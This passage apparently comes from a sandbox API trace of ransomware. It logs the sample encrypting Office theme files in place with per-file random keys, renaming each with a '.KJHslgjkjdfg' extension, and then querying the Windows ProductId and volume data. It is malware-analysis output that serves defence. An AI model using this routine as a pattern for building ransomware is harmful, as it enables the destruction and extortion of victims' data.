lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.919] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.919] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.919] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.919] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x189be, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x189be, lpOverlapped=0x0) returned 1 [0145.921] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x189c0, dwBufLen=0x189c0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x189c0) returned 1 [0145.922] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.922] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x189c0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x189c0, lpOverlapped=0x0) returned 1 [0145.922] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.922] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x18a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.922] SetEndOfFile (hFile=0x118) returned 1 [0145.926] GetProcessHeap () returned 0x2a0000 [0145.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.926] GetProcessHeap () returned 0x2a0000 [0145.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.kjhslgjkjdfg")) returned 1 [0145.927] CloseHandle (hObject=0x118) returned 1 [0145.933] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0145.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.934] GetProcessHeap () returned 0x2a0000 [0145.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.934] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.935] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.935] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0145.936] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.936] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.936] GetProcessHeap () returned 0x2a0000 [0145.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.937] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0145.937] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.937] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0145.937] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.937] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.937] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.937] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.937] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.937] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.937] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.938] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x211, lpOverlapped=0x0) returned 1 [0145.938] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220, dwBufLen=0x220 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220) returned 1 [0145.938] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.938] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x220, lpOverlapped=0x0) returned 1 [0145.938] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.938] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.938] SetEndOfFile (hFile=0x118) returned 1 [0145.941] GetProcessHeap () returned 0x2a0000 [0145.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.941] GetProcessHeap () returned 0x2a0000 [0145.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.kjhslgjkjdfg")) returned 1 [0145.949] CloseHandle (hObject=0x118) returned 1 [0145.949] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0145.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.950] GetProcessHeap () returned 0x2a0000 [0145.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.950] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.950] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.950] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.950] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.950] GetProcessHeap () returned 0x2a0000 [0145.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.950] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.950] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.950] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.957] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.957] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.957] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.957] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.957] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.958] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.958] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.958] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xb20, lpOverlapped=0x0) returned 1 [0145.958] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb20, dwBufLen=0xb20 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xb20) returned 1 [0145.958] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.958] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xb20, lpOverlapped=0x0) returned 1 [0145.958] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.958] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.958] SetEndOfFile (hFile=0x118) returned 1 [0145.961] GetProcessHeap () returned 0x2a0000 [0145.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.961] GetProcessHeap () returned 0x2a0000 [0145.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.kjhslgjkjdfg")) returned 1 [0145.962] CloseHandle (hObject=0x118) returned 1 [0145.962] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0145.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.963] GetProcessHeap () returned 0x2a0000 [0145.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.963] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.963] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0145.965] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.965] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.965] GetProcessHeap () returned 0x2a0000 [0145.965] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.965] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.965] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.965] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.966] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.966] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.966] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.966] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.966] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.966] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.966] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.966] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8864, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x8864, lpOverlapped=0x0) returned 1 [0145.967] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8870, dwBufLen=0x8870 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x8870) returned 1 [0145.968] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.968] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x8870, lpOverlapped=0x0) returned 1 [0145.968] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.968] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x8944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.968] SetEndOfFile (hFile=0x118) returned 1 [0145.971] GetProcessHeap () returned 0x2a0000 [0145.971] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.972] GetProcessHeap () returned 0x2a0000 [0145.972] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0145.972] CloseHandle (hObject=0x118) returned 1 [0145.973] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0145.973] GetProcessHeap () returned 0x2a0000 [0145.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.973] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.973] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0145.973] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.973] GetProcessHeap () returned 0x2a0000 [0145.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.973] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.973] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0145.973] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.973] GetProcessHeap () returned 0x2a0000 [0145.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0145.973] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.973] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0145.973] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.973] GetProcessHeap () returned 0x2a0000 [0145.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.974] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0145.974] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.974] GetProcessHeap () returned 0x2a0000 [0145.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.974] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0145.974] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.974] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0145.974] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0145.974] RegCloseKey (hKey=0x118) returned 0x0 [0145.974] GetProcessHeap () returned 0x2a0000 [0145.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.974] GetProcessHeap () returned 0x2a0000 [0145.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.974] GetProcessHeap () returned 0x2a0000 [0145.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.975] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0145.975] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.975] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.975] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, 